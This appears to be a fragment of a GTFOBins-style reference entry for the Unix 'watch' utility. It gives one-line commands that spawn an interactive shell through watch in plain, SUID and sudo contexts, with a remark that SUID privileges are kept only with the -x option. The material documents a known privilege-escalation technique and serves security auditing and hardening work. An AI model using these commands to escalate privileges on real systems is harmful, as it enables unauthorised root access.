code |
watch -x sh -c 'reset; exec sh 1>&0 2>&0' |
|
|
description |
code |
This keeps the SUID privileges only if the `-x` option is present. |
./watch -x sh -c 'reset; exec sh 1>&0 2>&0' |
|
|
code |
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0' |
|
|
code |
./watch 'reset; exec sh 1>&0 2>&0' |
|
|